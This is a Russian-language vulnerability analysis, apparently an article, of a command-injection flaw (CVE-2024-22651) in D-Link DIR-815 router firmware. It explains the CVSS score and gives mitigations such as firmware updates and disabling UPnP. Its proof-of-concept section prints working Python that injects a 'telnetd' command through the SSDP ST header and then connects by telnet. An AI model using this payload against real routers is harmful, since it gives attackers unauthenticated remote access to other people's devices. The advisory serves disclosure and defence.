роутер D-Link DIR-815
роутер D-Link DIR-815
Категория: Программы Теги: Уязвимости Опубликовано: 15 мая 2025

Уязвимость BDU:2025-05462 (CVE-2024-22651) в D-Link DIR-815

Уязвимость BDU:2025-05462 (CVE-2024-22651) в роутерах D-Link DIR-815 (версии прошивки ≤1.04) возникает из-за некорректной обработки входных данных в функции ssdpcgi_main бинарного файла cgibin. Функция получает данные через переменные окружения (например, через getenv("HTTP_ST")) и передаёт их в системную обёртку lxmldbc_system без санитизации. Это позволяет злоумышленнику внедрить произвольные команды через поддельные SSDP-запросы (протокол UPnP).

Уровень опасности: 9.8 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  1. AV:N (Вектор атаки: Сетевой) – Удалённая эксплуатация через интернет.

  2. AC:L (Сложность атаки: Низкая) – Простая реализация без сложных условий.

  3. PR:N (Привилегии: Нет) – Доступ к системе не требуется.

  4. UI:N (Взаимодействие: Нет) – Участие пользователя не нужно.

  5. S:U (Область: Неизменная) – Влияет только на уязвимый компонент.

  6. C:H (Конфиденциальность: Высокое) – Полная компрометация данных.

  7. I:H (Целостность: Высокое) – Возможность полного изменения данных.

  8. A:H (Доступность: Высокое) – Критическое нарушение работы системы.

Интерпретация: Критическая уязвимость (9.8) позволяет удалённо без прав и участия пользователя нарушить конфиденциальность, целостность и доступность системы. Максимальный риск обусловлен сетевым вектором, низкой сложностью эксплуатации и полным контролем над уязвимым компонентом.

Анализ уязвимости

Условия эксплуатации

  1. Доступ к локальной сети: Злоумышленник должен находиться в той же локальной сети, что и роутер, или иметь доступ к UDP-порту 1900 (UPnP) через WAN (редкий случай, если UPnP открыт наружу).

  2. Активный сервис UPnP: Сервис SSDP/UPnP включён по умолчанию.

  3. Отсутствие фильтрации входных данных: Роутер не проверяет содержимое заголовка ST в SSDP-запросах.

Анализ эксплоита из общего доступа

Скрипт для эксплуатации уязвимости BDU:2025-05462 (CVE-2024-22651) отправляет кастомный SSDP-запрос типа M-SEARCH с внедрённой командой в поле ST:

header += "ST:urn:device:1;telnetd\n"  # Инъекция команды запуска telnet-демона

После отправки запроса скрипт активирует telnet, чтобы подключиться к роутеру.

Ключевые этапы работы PoC

  1. Формирование вредоносного SSDP-пакета:

    def config_payload(ip, port):
        header = "M-SEARCH * HTTP/1.1\n"
        header += "HOST:" + ip + ":" + str(port) + "\n"
        header += "ST:urn:device:1;telnetd\n"  # Инъекция команды
        header += "MX:2\n"
        header += 'MAN:"ssdp:discover"' + "\n\n"
        return header
  2. Отправка через UDP-сокет:

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.sendto(payload, (ip, port))
  3. Запуск telnet-сессии:

    os.system('telnet ' + str(ip))  # Подключение к открытому демону

Способы защиты

  1. Обновление прошивки: Установить версию выше 1.04, где D-Link устранили уязвимость.

  2. Отключение UPnP:

    • Через веб-интерфейс: Advanced -> Network Settings -> UPnP -> Disable.

    • Через командную строку:

      lxmldbc -s /runtime/upnp/config/enable 0
  3. Сетевые ограничения:

    • Блокировать входящие UDP-пакеты на порт 1900 на межсетевом экране.

    • Использовать VLAN для изоляции роутера от пользовательских устройств.

  4. Патчинг бинарных файлов: Для устройств, которые нельзя обновить, заменить вызов lxmldbc_system на безопасные аналоги с санитизацией.

Библиотеки и зависимости

  • lxmldbc: Проприетарная библиотека D-Link для взаимодействия с конфигурацией устройства. Используется в веб-интерфейсе (cgibin) и демонах.

  • ssdpcgi_main: Компонент, обрабатывающий SSDP-запросы.

Алексей Черемных Алексей Черемных
87